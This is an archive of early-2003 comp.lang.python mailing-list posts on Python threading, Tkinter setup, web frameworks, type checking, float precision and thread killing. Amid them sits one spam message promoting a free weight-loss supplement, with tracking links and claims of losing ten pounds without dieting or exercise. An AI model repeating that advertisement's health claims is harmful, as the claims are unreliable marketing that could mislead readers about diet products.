The problem is that, often, when I run it the text is written ON the old
text, without changing the old text value. It's like to write always on the
same paper: in a short time the paper is completely black

The real program is bigger, of course, but this is the minimum code which
can produce the error

if someone can help me....
Thanks,
Riccardo

class Retriever(Thread):
		def __init__(self,components):
			Thread.__init__(self)
			self.components=components	#this is a dirty trick I use to see self.components of the main apllication
		
		def run(self):
			seconds=0
			while 1:
				self.components.counterStText.text=str(seconds)
				seconds+=1
				time.sleep(1)

class myclass(model.Background):
	def on_openBackground(self, event):
		aThread=Retriever(self.components)
		aThread.start()

if __name__ == '__main__':
    app=model.PythonCardApp(myclass)
    app.MainLoop()



-- 
-=Riccardo Galli=-

 _,e.
s~  ``
 ~@.   ideralis Programs
.   ol 
 `**~  http://www.sideralis.net




From robert at nowhere.net  Sat Jan 11 16:20:38 2003
From: robert at nowhere.net (Robert Hord)
Date: Sat, 11 Jan 2003 21:20:38 GMT
Subject: idle will not start
References: <NoTT9.4808$pn3.184916120@newssvr15.news.prodigy.com> <3E207A94.1090103@email.com>
Message-ID: <GU%T9.1033$6b.21955655@newssvr17.news.prodigy.com>

R. C. Ellis wrote:

> Robert Hord wrote:
>> I have install the RH 8.0 with python.  When I start ./idle I get an
>> error
>> "no module named ildelib".  I have done a find -name /usr idlelib with no
>> results.  I also did an ./idle.py with an error "no module named
>> Tkinter". I have installed the tcl/tk from the RH cd.
>> 
>> ? Anyone know what I'm missing ?
>> 
> 
>  From what I understand from other on-line sources, RedHat chose NOT to
> include Tkinter in it's python install.
> 
> In my case I downloaded the latest Python tgz file from python.org
> (which includes Tkinter, supposedly) and did the configure-make-make
> install, but it *Still* is unable to find the necessary files to access
> Tkinter libs.  I've fiddled with all the available environment
> variables, "locate"ed the Tkinter file - no luck.  I've asked the
> follow-on question relating to this: to wit, "OK What do I do now?" or
> "What did I miss and get wrong?"
> 
> RC
Well, guess I'll go googling.  thanks.
-- 
reh - Texas,USA
RedHat 8.0
http://flashpages.prodigy.net/rhordjr




From boncelet at udel.edu  Tue Jan 21 11:08:32 2003
From: boncelet at udel.edu (boncelet)
Date: 21 Jan 2003 08:08:32 -0800
Subject: lots of similar classes?
References: <53ce2726.0301200637.611c2041@posting.google.com> <3E2C2F7B.8070606@earthlink.net>
Message-ID: <53ce2726.0301210808.4cf5907b@posting.google.com>

Thanks to all who responded.  I suspected there were better ways and
now I have several to try out.

Let me summarize the ideas:

1. from Duncan Booth:

>class A(Super):
>    def __init__(self, name='a', **args):
>        Super.__init__(self, name, **args)

I thought of this one shortly after I sent me inital message.  This is
part of what I'm currently using.  I originally wanted the user to be
able to specify the most common args by position, but realized that is
error-prone as well.

2. from Beni Cherniavsky:

> Besides using ``**kwargs``, if the only difference is the default value of
> `name`, consider getting it from a class attribute (set in each subclass)
> and not overriding __init__ at all.

The class attribute idea is very helpful for me.  This seems to be
best for all my subclasses (maybe 30-50 of them).  I can write a
generic super class and use class attributes to differentiate between
the subclasses.

3. from Mike Fletcher:
> With Python 2.2.x, this will work:

> class X(object):
>     def __init__( self, name='blah', y=2,z=3,m=4):
        ...

> class Y( X ):
>     def __init__( self, name='haha', *args, **named ):
>         super( Y, self).__init__( name, *args, **named )

I didn't know this worked.  Will have to try it out.  This is cool.

4. Roberto Cavada gave a suggestion that is above me.  Sorry.

5. Hans Nowak suggests using an "options class".  Very neat idea, also
one I have to test.

Thanks to all,

   Charlie Boncelet

Hans Nowak <wurmy at earthlink.net> wrote in message news:<3E2C2F7B.8070606 at earthlink.net>...
> boncelet wrote:
> 
> > Pseudo-code looks like this:
> > 
> > class Super:
> >   def __init__(self,name,lots_of_other_arguments):
> >     self.name=name
> >     <<set rest of arguments, etc>>
> > 
> > class A(Super):
> >   def __init__(self,name='a',lots_of_other_arguments):
> >     Super.__init__(self,name,lots_of_other_arguments)
> >
> > My problem is rewriting the "lot_of_other_arguments" over and over
> > again seems wasteful, error-prone, and fragile.  Is there a better
> > way?
> 
> To take a page from Martin Fowler's book, lots of arguments for a method is a 
> "code smell".  Consider writing a separate class for this.  I regularly use a 
> variant of the following, especially when command line options translate to 
> options in a class:
> 
> class Options:
>      def __init__(self):
>          self.foo = ""
>          self.bar = None
>          # ...etc...
> 
> options = Options()
> 
> # set some options
> options.baz = "bletch"
> 
> class MyClass:
>      def __init__(self, name, options):
>          self.options = options
> 
> myclass = MyClass("foo", options)
> 
> Now, your class uses an instance of Options to hold all these variables, rather 
> than having them in its own namespace.  Much easier to pass around.
> 
> HTH,



From mark at camazotz.com  Sun Jan 26 07:54:04 2003
From: mark at camazotz.com (Mark Smith)
Date: Sun, 26 Jan 2003 12:54:04 GMT
Subject: Python web development, really
References: <j9bo2v0lo0qfngcfpqc3ooj0bo881lhuuh@4ax.com> <f57664b9.0301252133.22c53e75@posting.google.com>
Message-ID: <o6m73vg64klj53r5r4v4mbruahh1b257fa@4ax.com>

jbperez808 at yahoo.com (Jonathan P.) wrote:
>Spyce gives me the vanilla PHP-like functionality I want(*) -
>the kind of straight Python-code embedding that PyHP, PyML, 
>PMZ, Fenster provide except that these projects seem to have 
>been abandoned. 

For simple templating and Python embedding, PWO (www.jamwt.com/pwo/)
has a clean, uncluttered syntax.



From Padraig at Linux.ie  Fri Jan 31 12:13:42 2003
From: Padraig at Linux.ie (Padraig at Linux.ie)
Date: Fri, 31 Jan 2003 17:13:42 +0000
Subject: tmda and python
In-Reply-To: <42b552b5.0301310856.70ec96d6@posting.google.com>
References: <42b552b5.0301310856.70ec96d6@posting.google.com>
Message-ID: <3E3AAEC6.10601@Linux.ie>

DJ wrote:
> Hello,
> 
> I am having a problem with getting tmda to work properly with qmail.
> I'm not sure if it's a Python issue or not.
> 
> 0) Redhat 7.3 system with python rpms
> 
>  python2-2.1.1-2.72
>  mod_python-2.7.6-1
>  python-tools-1.5.2-42.72
> 
> 1) tried to compile with source and got this:
> 
> [root at Knight tmda-0.68]# ./compileall
> Traceback (innermost last):
>   File "./compileall", line 95, in ?
>     sys.exit(not main())
>   File "./compileall", line 88, in main
>     success = success and compile_dir(dir)
>   File "./compileall", line 39, in compile_dir
>     major, minor = sys.version_info[0:2]
> AttributeError: version_info

sys.version_info is only available with python version 2.2
So I'm guessing that you still have python 1.5 on your system.
Try changing the python calls in tmda to python2 explicitly.
You'll have non of this messing on RH8x as python 2 is used
by default.

P?draig.




From johnroth at ameritech.net  Thu Jan 16 17:34:09 2003
From: johnroth at ameritech.net (John Roth)
Date: Thu, 16 Jan 2003 17:34:09 -0500
Subject: Declaring A Function Argument As Global?
References: <9fp60b.86b2.ln@boundary.tundraware.com>        <mailman.1042738646.3193.python-list@python.org>        <1pt60b.atb2.ln@boundary.tundraware.com> <mailman.1042743511.31058.python-list@python.org> <8r070b.sfc2.ln@boundary.tundraware.com>
Message-ID: <v2ecpc73jj738f@news.supernews.com>

"Tim Daneliuk" <tundra at tundraware.com> wrote in message
news:8r070b.sfc2.ln at boundary.tundraware.com...
> Skip Montanaro wrote:
> >     >> def lhandler(list):
> >     >>     list[:] = list[1:]
> >
> >     Tim> 'Works like a charm.  But why?
> >
> > list[:] on the left-hand side of an assignment assigns to the entire
list.
> > It's effectively
> >
> >     list[0:len(list)] = rhs
>
> The slicing part I understand well.  What I do not grasp is why using
> this construct on the lhs gives you access to the actual list
> in question, but list = list[1:] refers to the local variable (formal
> parameter) 'list'.  It is the semantics of scope that is confusing me
> here, not the list operation...

If you think about it, it has to work that way, or you couldn't
ever assign to a position in a list, or an element of a dictionary.

Effectively, all of the following work the same way:

list[x] = zzz
list[:] = yyy
dict{'foobar'} = "snafu"

They access part of a mutable object. If you couldn't do that,
you'd have to use some kind of functional notation to do those
assignments. That may be a good idea in a functional language,
but Python is not basically a functional language.

Another way of thinking about it is that assignment knows
the difference between a variable and an object. It binds the rhs
to the former, and passes a message to the latter telling it to
update itself.

John Roth

>
> Thanks,
> ----------------------------------------------------------------------
--------
> Tim Daneliuk
> tundra at tundraware.com
>





From sasDOTepsylon at wanadoo.fr  Tue Jan 14 15:38:02 2003
From: sasDOTepsylon at wanadoo.fr (EpSyLOn)
Date: Tue, 14 Jan 2003 21:38:02 +0100
Subject: Baliser un texte en Python
References: <18f9f477.0301140735.304887da@posting.google.com>
Message-ID: <v6t82v0k2igqhceu33rs3ohnkt00q4o29k@4ax.com>

On 14 Jan 2003 07:35:17 -0800, nbodineau at club-internet.fr (Natacha)
wrote:

>bonjour,
>
>nous aimerions savoir si Python peut baliser un texte(format .txt) en
>format XML ou HTML.

Peut-tu donner plus de pr?cisions sur ce que tu veut faire exactement
? 

-- 
  .-.  EpSyLOn      sas<dot>epsylon<at>wanadoo<dot>fr
  oo|  faq fclc:    http://www.isty-info.uvsq.fr/~rumeau/fclc
 /`'\  Usenet  :    http://www.usenet-fr.net
(\_;/) "Quand le sage montre la lune, l'imb?cile regarde le doigt"



From ark at gmx.net  Thu Jan 23 18:26:42 2003
From: ark at gmx.net (Arne Koewing)
Date: Fri, 24 Jan 2003 00:26:42 +0100
Subject: Why is 2.3 = 2.2999999999999998 ?
References: <b0puig$o99@news.Informatik.Uni-Oldenburg.DE>
Message-ID: <b0pvg4$o99@news.Informatik.Uni-Oldenburg.DE>

i finally got it...
that's just floats ;-)

not rounding by default is quite irritating but you easily realize 
precision problems...



From peter at engcorp.com  Tue Jan 28 14:35:20 2003
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 28 Jan 2003 14:35:20 -0500
Subject: Browser front-end, python back-end
References: <fd5aa35c.0301280922.a952dc7@posting.google.com> <slrnb3dg7u.lr.lee@bad-bart.lcp.nrl.navy.mil> <b16jlp$fii$1@newsmaster.cc.columbia.edu> <87ptqht70a.fsf@flibuste.net>
Message-ID: <3E36DB78.8EEB0FC6@engcorp.com>

William wrote:
> 
> "Eric Mattes" <ericmattes at yahoo.com> writes:
> 
> > Sorry, I should have been more specific about the intent of this program. I
> > am intending to distribute the program in a form which does not require an
> > internet connection. I wanted a python program to act as a server so that it
> > can receive requests from a browser pointing to localhost.
> >
> > The program is a turn-based game, so it is suitable for web browser
> > implementation. I'm just wondering if its feasable to have the whole app
> > (server and all) in one package.
> >
> 
> Using BaseHTTPServer, we can make an .exe with py2exe. You just run it
> and open your browser to play !

You could also use win32com.client.Dispatch to open IE directly and 
navigate to the home page of your application.  I suppose you can 
also contrive to turn off many features of IE at the same time, for
example preventing navigation outside of your "site", but I have no
idea how to do that.  (But I'd appreciate links to tutorials/guides on
the subject!)

> > My worries about using BaseHTTPServer come from the fact that when I run
> > 'serve_forever()', I need to use the task manager to kill the program. Is
> > there some way around that?
> 
> When you don't whant to use Control-C to kill your server, you have to
> code the suicide and call it with a hidden page, eventualy on an other
> port.

There are some other options.  One is that if you launch the browser
as I mention above, you can probably detect when it is close and use
that as a signal to exit.  You could also encode a "keepalive" signal
into the web pages using Javascript's setInterval() to periodically 
"tickle" the server (e.g. using xml.load() to avoid disturbing the
current page contents).

This is actually an interesting idea, even for a standalone machine.
I recall someone posting a link to a program that sounded like it 
already did all this, several months back.  Maybe Eric should search
for that first.

-Peter



From bokr at oz.net  Mon Jan 20 04:55:19 2003
From: bokr at oz.net (Bengt Richter)
Date: 20 Jan 2003 09:55:19 GMT
Subject: license
References: <mailman.1043021436.1265.python-list@python.org>
Message-ID: <b0gh27$5f4$0@216.39.172.122>

On Sun, 19 Jan 2003 19:08:31 -0500, "Arthur" <ajs at ix.netcom.com> wrote:

>Tim writes-
>
>>Not for that alone: the PSF license explicitly grants permission to make
>>modifications and distribute derived works. Every OSI-certified license
>>does, since freedom to make derived works is part of the Open Source
>>definition (point 3 at <http://opensource.org/docs/definition.php>). While
>>I am not a lawyer, it was intended that it be *hard* to violate the Python
>>license. The license does require that derivative works include "a brief
>>summary of the changes made to Python 2.3".
>
>But understand, if he was redistributing Python with some notification that
>what one is receiving is modified from Python2.3, there is not an issue.
>
>The facts here -
>
>One has a standard Python installation. That is assumed by the third party
>distribution. And with no warning that it intends to do so, that the 3rd
>party package you download modifies the standard installation, and gives no
>notification that it did so.

I think the standard installation aspect is a red herring. I think anybody has
a right to be upset when someone rearranges the furniture in ones place without
permission, even if rearrager is the supplier of a free chair. It is not about
making mods to the chair, it's about making mods to the arrangement that the
room owner has created.

Personally I am upset at the arrogant assumptions often made by installation programs
(or their creators). It's like an appliance delivery person assuming they have
free run of your house because your let them in for a specific purpose.

I am 110% against programs doing things in my computer without my **informed** consent,
and an overreaching and non-specific click agreement doesn't mollify me at all.
>
>And the modification does not even reverse itself if you uninstall that
>package.
>
>I think that's quite ugly.
>
>And thought someone might agree.
>
I do, and with some feeling. But I don't think it's got much to do with the PSF license.

>its refreshing to know I'm *never* right.
>
Right, including thinking no one else is miffed ;-)

But I think you are barking up the wrong tree if you want to complain in terms of
modifying a PSF product without due notice. The real damage is not there IMO. It's in
disturbing an arrangement that belonged to you as an arrangement, never mind the
components that were arranged. More like a free trial stove deal, where the
deliveryman replaces a cookbook on your kitchen shelf with one from his stove manufacturer,
and then when you decide you don't want the stove, you've lost your original cookbook.

It was not right to replace the cookbook in the first place without asking, but not
because it was part of the standard licensed delivery from your previous stove supplier.
It was wrong because it's your kitchen, and you have a right to expect others to respect
your arrangement of things, and ask if they want to modify it -- even if they think
they know it's best for you.

If the trial installation destroyed something you had, that is a real damage, and there
ought to be a law governing wilful disregard normal expectations, even in the context
of maximal disclaimers. But your mileage may vary, most probably expecially with the extent
of your actual damages. But IANAL.

If you feel strongly, start a we site where people can go to find out beforehand what
software will do before they decide to let an installer run. Also which will want to
'call home' periodically if given a chance. I'd be interested in such a site.

I would think the author of the culprit installer software could be convinced of the
idea that it's not best policy to annoy users, but people tend to get defensive or
feel that you are far more annoying than they, if you vent too much annoyance out front ;-)

Regards,
Bengt Richter



From papaggel at ics.forth.gr  Fri Jan 10 08:15:16 2003
From: papaggel at ics.forth.gr (Manos Papagelis)
Date: Fri, 10 Jan 2003 15:15:16 +0200
Subject: Urgent. ImportError: No module named _socket
Message-ID: <006d01c2b8aa$525a35b0$04b75b8b@ics.forth.gr>

Hi,

I am trying to set up an application developped in python (Cyberchair) but i have a problem that seems serious.

When trying to import socket module an importError is occured as follows.

    ImportError: No module named _socket

I have read some suggestions on how to solve the problem but they do not apply to my occasion, or I have something done wrong.

I use python 2.1 on Solaris 8

Plz if anyone knows how to solve the problem mail me 

thanks,

- Manos Papagelis
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20030110/737331ce/attachment.html>

From max at alcyone.com  Sun Jan 26 23:15:50 2003
From: max at alcyone.com (Erik Max Francis)
Date: Sun, 26 Jan 2003 20:15:50 -0800
Subject: Purpose of Python Type Checking?
References: <mailman.1043633328.27598.python-list@python.org>
Message-ID: <3E34B276.B6F02F38@alcyone.com>

Mongryong wrote:

> Why do people use type checking in Python?
> 
> Yes, I know its to "ensure" that parameters are valid but doesn't that
> defeat the whole purpose of one of Python's main feature? Polymorphism
> and code reuse.  Who cares if a parameter is not of type(X), as long
> as
> it has the methods and member variables necessary.  If the parameter
> is
> missing stuff, then an exception is thrown.
> 
> The reason I'm asking is because I don't use type checking at all but
> I
> ses a lot of other code use it.  So, is there a good reason I should
> be
> using it too?

In general I agree with you.  I can think of two cases where I use type
checking, at least temporarily:

One is where you have an API and you want some sort of polymorphism. 
For instance, EmPy has an include API that takes either 1. a filename (a
sring) or 2. a file-like object.  It does (from memory):

	if type(fileOrFilename) is types.StringType:
	    # it's a string, so open a file
	    file = open(fileOrFilename, 'r')
	else:
	    # it's a file-like object, so just treat it like one
	    file = fileOrFilename

[A design requirement of EmPy is that is 1.5.2 compatible, so no
"type(...) is str" or "use file, not open" comments, please.]  In other
words, maybe for some special (invariably builtin) types, I'll do
something special, but otherwise I'll just assume the passed-in object
has the proper interface.

The other is debugging.  If I'm building complex data structures and I
want to make sure that _I_, as the implementor of the system, don't make
some mistakes, I'll often put an

	assert isinstance(argument, SomeSpecificClass)

simply because I know that for the development cycle the only type that
should be passed in there is one I've created, and so if, during
development, anything else ends up there I've made a mistake and I want
to catch it right away.  (Such asserts would then be removed before the
API is frozen and the code is released.)

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ This moment is mine / So I'm taking my time
\__/ Chante Moore
    Church / http://www.alcyone.com/pyos/church/
 A lambda calculus explorer in Python.



From rjones at ekit-inc.com  Tue Jan 21 00:58:41 2003
From: rjones at ekit-inc.com (Richard Jones)
Date: Tue, 21 Jan 2003 16:58:41 +1100
Subject: Python web development, really
In-Reply-To: <j9bo2v0lo0qfngcfpqc3ooj0bo881lhuuh@4ax.com>
References: <j9bo2v0lo0qfngcfpqc3ooj0bo881lhuuh@4ax.com>
Message-ID: <200301211658.41902.rjones@ekit-inc.com>

On Tue, 21 Jan 2003 4:16 am, Afanasiy wrote:
> I would love to use Python instead of PHP for web development, but
> I have so far been confused by the options, or perhaps lack thereof,
> given my strict requirements. I would appreciate suggestions.
>
> I've looked at some Python options and have experience in quite a
> few platforms previously. I have always disliked PHP as a language,
> but at the same time have found it very accessible and useful.
>
> Possible solutions should do 99% of the following :
>
> * Run on the same hardware I use currently
>
> * Be as fast or faster than Apache+PHP
>   (I'm sorry to say Zope/Roxen are not)
>   (This might mean it must use Apache)

Not much is going to be faster than Apache+PHP. Python can certainly reach the 
same or similar speeds though.


> * Use a similar amount of memory
>   (ie. not Java/.NET related)

This is pretty open-ended. Suffice to say though that Python doesn't consume 
wads of memory on its own. The rest is up to your application.


> * Provide a fairly equivalent framework w/ sessions, cookies, get, post
>   (Described in http://www.boddie.org.uk/python/web_frameworks.html)
>   (eg. I should not have to write code to parse query strings, etc.)
>   (PHP is somewhat unique in the ways it can bring in post variables)

I'm confused. A number of the frameworks on the page you link there support 
all of the above. Are you stating that this is a requirement that isn't met 
(which it clearly is) or that it _is_ met?


> * Allow all errors to be caught and handled so users never see them
>   (I currently send them to an email address)
>   (Users are notified an error occurred and a developer contacted)

Built into Python. try/except is part of the language itself.


> * Allow sending of email

Built into Python. Use the smtplib module.


> * Allow sending of raw binary data, for restricted file downloading
>   (eg. http://example.com/sendfile.php?id=A6DE12FAB3...etc)
>   (This requires header manipulation, specifically the mime type)
>   (That sort of thing should be part of the framework 3 bullets up)

Any of the frameworks you reference above can do this. Python can do this by 
itself with no framework:

   print "Content-Type: image/png"
   print
   print open('/path/to/image.png').read()



> * Allow SSL secured authorize.net credit card processing
>   (I currently use PHP's libcurl+ssl module)

I presume by the reference to libcurl you want to make a request of an SSL 
website. This is built into python. Use the urllib2 module.


> * Allow similarly powerful regex capabilities
>   (I currently use PHP's pcre module)

Built into Python. Use the re module.


> * Big plus, but optional, auto prepend/append files
>   (eg. Apache+PHP has .htaccess directives like this )
>   (    php_value auto_prepend_file "_header.php"     )
>   (    php_value auto_append_file "_footer.php"      )
>   (granular down to the directory

That would be dependent on the framework you chose, but they would all support 
some version of this.


> * Finally, very optional plus, global application scoped variables
>   (PHP does NOT allow this, but I know why)
>   (I do not want to hear why you think this is bad)
>   (I know why it is good, I know why it can be bad)

Most of the frameworks will support this in some manner. If they don't, then 
using the stand-alone ZODB would be a trivial addition to your application. 
Or you could use a relational database. It's up to you.



     Richard





From sandorlevi at yahoo.com  Sun Jan 19 19:36:39 2003
From: sandorlevi at yahoo.com (Levente Sandor)
Date: 19 Jan 2003 16:36:39 -0800
Subject: wxMDIClientFrame
References: <3E2ACED6.9020502@reidlai.com>
Message-ID: <8b5e42a6.0301191636.5f572d4d@posting.google.com>

Reid Lai <reidlai at reidlai.com> wrote in message news:<3E2ACED6.9020502 at reidlai.com>...
> Dear All,
> 
> I am using wxPython and created a wxMDIClientFrame in parent MDIFrame. 

Did you mean wxMDIChildFrame?

> When I maximize the child, I cannot see maximize and minimize box in 
> child frame.  How can I fix this problem?  Thanks for your advice.
> 
> Reid

Add a menubar to the parent frame, and it will work as expected:

from wxPython.wx import *

app = wxPySimpleApp()

# parent frame
pf = wxMDIParentFrame(None, -1, 'MDI Parent')
pf.SetMenuBar(wxMenuBar())
pf.Show(true)

# child frame
cf = wxMDIChildFrame(pf, -1, 'MDI Child')
cf.Show(true)

app.MainLoop()

----
levi



From grante at visi.com  Sat Jan 18 14:56:24 2003
From: grante at visi.com (Grant Edwards)
Date: 18 Jan 2003 19:56:24 GMT
Subject: Overloading methods in C API
References: <2ufi2vkrpg6rikt5sv0tf5f8klfruerqlg@4ax.com> <m33cnq4qqr.fsf@mira.informatik.hu-berlin.de> <bsoi2v4rokh97unbdnfa9pndd8cctjd6ru@4ax.com> <slrnb2itok.8di.grante@localhost.localdomain> <Xns9307CD595EDCBrcamesz@amesz.demon.nl>
Message-ID: <slrnb2jcl0.8mr.grante@localhost.localdomain>

In article <Xns9307CD595EDCBrcamesz at amesz.demon.nl>, Robert Amesz wrote:
> Grant Edwards wrote:
> 
>>> Is method/function overloading common in Python modules?
>> 
>> No.  It's isn't supported.  The language does not allow it. 
>> Therefore, it is not common.
> 
> It's not that the language doesn't allow it, it's just that dynamic 
> typing makes it impossible to decide beforehand what methods/functions 
> would be called.

The language doesn't allow one to declare the types of function/method
parameters.  Therefore function/method overloading is not possible.  In my
mind, that can be summarized as "the language doesn't allow it."

>>> Is it looked down upon?
>> 
>> It is not allowed by the language design. I suppose that's a
>> pretty good indication that it's "looked down upon."
> 
> No, it's not "looked down upon". Take, for example, the % operator for 
> strings: it allows things like:

That's operator overloading, which I think of as different than
function/method overloading.

> 
>    "Single value: %d" % 43
> 
> or:
> 
>    "Multiple values: %s %d" % ("one", 2)
> 
> or even:
> 
>    "Using a dict: %(first)s %(second)d" % {"first": "one", "second": 2}
> 
> That's a pretty overloaded function, if you ask me, and it's part of 
> core Python. It's just that in Python you have to do this manually. Ah, 
> well, "explicit is better than implicit", to coin a phrase.

For whatever historical reasons, operator overloading and function/method
overloading are usually considered as two separate language features.  C and
python have the former but not the latter. C++ has both.

-- 
Grant Edwards                   grante             Yow!  A shapely CATHOLIC
                                  at               SCHOOLGIRL is FIDGETING
                               visi.com            inside my costume...



From LogiplexSoftware at earthlink.net  Mon Jan 20 20:22:37 2003
From: LogiplexSoftware at earthlink.net (Cliff Wells)
Date: 20 Jan 2003 17:22:37 -0800
Subject: Where do you store data files?
In-Reply-To: <bdb5b58f.0301201653.3a9166d4@posting.google.com>
References: <bdb5b58f.0301201653.3a9166d4@posting.google.com>
Message-ID: <1043112157.32094.381.camel@software1.logiplex.internal>

On Mon, 2003-01-20 at 16:53, logistix wrote:
> I've got a project that generates a simple text-format database and
> will probably generate a few dozen more documents for caching
> purposes.  I'm just trying to decide where I should store them.  I was
> thinking about just creating a subfolder in the module, which is fine
> for Windows but doesn't seem to be the "appropriate" Unix place to
> store it.

Can't speak for the Win32 crowd, but on Linux the best places would be
either /tmp (although this can open security risks) or somewhere in the
user's home directory.  A lot of apps will use a hidden "dot" file or
directory, e.g. ~/.appname/cache

> Just wondering what other people were doing.

I was watching "Lilo and Stitch".

-- 
Cliff Wells, Software Engineer
Logiplex Corporation (www.logiplex.net)
(503) 978-6726 x308  (800) 735-0555 x308





From phr-n2003b at NOSPAMnightsong.com  Fri Jan 24 11:03:34 2003
From: phr-n2003b at NOSPAMnightsong.com (Paul Rubin)
Date: 24 Jan 2003 08:03:34 -0800
Subject: killing thread ?
References: <b0r1ds$10s0fi$1@hades.rz.uni-sb.de> <mailman.1043410542.25830.python-list@python.org> <b0rhl7$112v7d$2@hades.rz.uni-sb.de> <b0rkdb$g9l$01$1@news.t-online.com> <7x3cni1sqp.fsf@ruckus.brouhaha.com> <b0rmru$6hb$04$1@news.t-online.com>
Message-ID: <7xn0lqbkmh.fsf@ruckus.brouhaha.com>

"Martin v. L?wis" <martin at v.loewis.de> writes:
> Python does not implement a thread switching code; these are
> operating system threads.
> 
> If you are thinking that the interpreter loop could look whether it
> shall terminate: this works only if the thread is not in a blocking
> system call.

How does this sound:

The interpreter loop can check whether there's a kill pending for
any other threads (that's just looking at a flag that will be false
almost all the time).  

If there's a kill pending, the interpreter sends a signal to
the target thread.  That should unblock any blocked i/o.
A global signal handler then raises an exception in the
target thread which gets handled the usual way.

That does leave the target thread able to catch the exception
and keep looping.  Even still, it improves on the present situation.

I can imagine some ways to hair up the exception mechanism to stop
that from happening, but that starts to mess with exception semantics
rather deeply.



From maxm at mxm.dk  Mon Jan 20 11:32:14 2003
From: maxm at mxm.dk (Max M)
Date: Mon, 20 Jan 2003 17:32:14 +0100
Subject: PIL: loading _imaging fails allthough it s there
In-Reply-To: <b0h0e1$h4d$1@news.tuwien.ac.at>
References: <b0f49t$iig$1@news.tuwien.ac.at> <DUFW9.40704$Hl6.4834388@news010.worldonline.dk> <b0h0e1$h4d$1@news.tuwien.ac.at>
Message-ID: <3E2C248E.4080103@mxm.dk>

h?non wrote:
> not shure. Thats why im posting here!
> regards Meinrad Recheis

Your only chance then would be to find out which version of Python you 
are running, and the download the corresponding version of PIL.

-- 

hilsen/regards Max M

http://www.futureport.dk/
Fremtiden, videnskab, skeptiscisme og transhumanisme




From lac at strakt.com  Sat Jan 25 20:29:44 2003
From: lac at strakt.com (Laura Creighton)
Date: Sun, 26 Jan 2003 02:29:44 +0100
Subject: Iterating all files in a directory 
In-Reply-To: Message from Mongryong <Mongryong@sympatico.ca> 
   of "25 Jan 2003 20:20:03 EST." <1043544003.4943.28.camel@refugeeMedia> 
References: <1043544003.4943.28.camel@refugeeMedia> 
Message-ID: <200301260129.h0Q1TijL004110@ratthing-b246.strakt.com>

> How can iterate through all the files in a directory?
> 
> ie. obtain a list of all the file's name 
> 
> Thanks.

>>> from os import listdir
>>> listdir('/tmp')
['.font-unix', '.gdm_socket', '.X11-unix', '.ICE-unix', '.X0-lock', 'ssh-XXCg2xlC', 'kde-lac', 'ksocket-lac', '.fam_socket', 'dcopWthjI2', 'mcop-lac', 'oo_branches.pdf', 'userguide.pdf']
>>>




From sde at spledee.com  Fri Jan 10 15:35:57 2003
From: sde at spledee.com (Spledee)
Date: Fri, 10 Jan 2003 15:35:57 EST
Subject: Jumpstart your New Year! Lose 10 pounds by January 31st
Message-ID: <95013$cHl0aG9uLWxpc3RAcHl0aG9uLm9yZw==@out-dp-01.spledee.com>

Lose up to 10 Lbs! FREE!!

Guaranteed Results with NO Painful Dieting and NO Exercise.

Click Here for Your FREE 14-DAY SUPPLY!

http://spledee.com:8080/track?m=20292&l=0


Starts Working on Day One! with Immediate and Dramatic Results!!

100% Natural and NO Stimulants! 

No Commitment. Cancel Anytime. Click Here to Order Today!!

Click below: 

http://spledee.com:8080/track?m=20292&l=0
Your privacy is very important to us and we have made it easy to
unsubscribe by going to the link below:

http://www.spledee.com/unsub.php?e=python-list at python.org&m=20292

You requested to receive this mailing by registering with spledee.com
or by subscribing through one of our marketing partners.

TM:16;BQBHBEGNGLGOCKGJGHBVBEEQBQBHBEGNGLGOCOGLBCGB;20292
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20030110/1cfc1880/attachment.html>

From aahz at pythoncraft.com  Sat Jan 18 20:20:24 2003
From: aahz at pythoncraft.com (Aahz)
Date: 18 Jan 2003 20:20:24 -0500
Subject: Coding standard: Prefixing variables to indicate datatype
References: <0BuV9.11459$CG6.203654@news4.e.nsc.no> <pan.2003.01.17.09.34.53.724229@webone.com.au> <tlSdnV4T_spIoLWjXTWcqg@comcast.com> <3E28D273.13497D3E@alcyone.com>
Message-ID: <b0cugo$97r$1@panix2.panix.com>

In article <3E28D273.13497D3E at alcyone.com>,
Erik Max Francis  <max at alcyone.com> wrote:
>
>Furthermore, it's inherently a string-based operation, therefore the
>method should go on the string.  I personally find ','.join(S) extremely
>inuitive and readable.

That's presuming that there should be a method at all, which is where I
and others disagree.  And while I agree that ','.join(S) is intuitive
and readable, that is no exclusion to calling it ugly, too.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"I used to have a .sig but I found it impossible to please everyone..."  --SFJ



From cben at techunix.technion.ac.il  Sun Jan 26 08:26:42 2003
From: cben at techunix.technion.ac.il (Beni Cherniavsky)
Date: Sun, 26 Jan 2003 15:26:42 +0200
Subject: Illegal literal or not?
In-Reply-To: <_RfY9.862$d66.98244@newsread1.prod.itd.earthlink.net>
References: <_RfY9.862$d66.98244@newsread1.prod.itd.earthlink.net>
Message-ID: <Pine.GSO.4.44_heb2.09.0301261518360.23499-100000@techunix.technion.ac.il>

On 2003-01-24, LJ & MT Lareau wrote:

> Is it possible to have Python produce the following literal output in the
> interactive mode.
> '"Let's try this!", they said.'
> If so what is the Python statement.  I've tried several ways
> and can't seem to produce it.  Thanks for the help.
>
Instead of printing, you can just use the fact that a string literal (as
any expression) typed at the interactive prompt will print its repr.
This is very simple and almost gets there:

>>> '"Let\'s try this!", they said.'
'"Let\'s try this!", they said.'

Now let's do something the other replies didn't <wink>: create a class.

>>> class rawstr(str):
...   def __repr__(self):  # Yes, I know unevalable reprs are bad.
...     return str.__repr__(self).replace('\\','')
...
>>> rawstr('"Let\'s try this!", they said.')
'"Let's try this!", they said.'

Just-my-`float("""0"""''"""."""''"""0"""''"""2""")`-shekels-ly y'rs,
    Beni Cherniavsky <cben at tx.technion.ac.il>




From martin at v.loewis.de  Fri Jan 24 10:36:07 2003
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Fri, 24 Jan 2003 16:36:07 +0100
Subject: killing thread ?
In-Reply-To: <3e3158fb$0$49108$e4fe514c@news.xs4all.nl>
